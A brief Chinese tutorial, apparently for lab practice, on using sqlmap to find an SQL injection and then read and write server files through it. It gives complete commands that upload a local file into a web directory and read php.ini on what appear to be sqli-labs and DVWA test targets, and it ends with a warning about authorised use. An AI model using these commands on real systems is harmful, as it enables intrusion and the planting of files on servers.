sqlmap 文件读写

SQLMap是一款用于自动化进行SQL注入的工具。使用SQLMap可以进行文件读写操作。首先，你需要找到注入点。一种方法是使用SQLMap进行扫描，命令为：python sqlmap.py -u http://192.168.232.243/sqli-labs-master/Less-3/?id=2 。一旦找到注入点，你就可以使用SQLMap进行文件读写操作。

文件写入操作需要使用`--file-write`参数，指定要写入的文件路径和内容。例如，命令为：sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-write C:\1.txt --file-dest /opt/lampp/htdocs/vulnerabilities/exec/1.txt 。这个命令将会把本地的文件`C:\1.txt`写入到服务器上的`/opt/lampp/htdocs/vulnerabilities/exec/1.txt`文件中。

文件读取操作需要使用`--file-read`参数，指定要读取的文件路径。例如，命令为：sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-read=/opt/lampp/htdocs/php.ini 。这个命令将会读取服务器上的`/opt/lampp/htdocs/php.ini`文件的内容。

需要注意的是，使用SQLMap进行文件读写操作可能涉及到非法的活动，应该只在合法的授权测试环境中使用。也要记得遵守法律法规，避免未经授权的操作。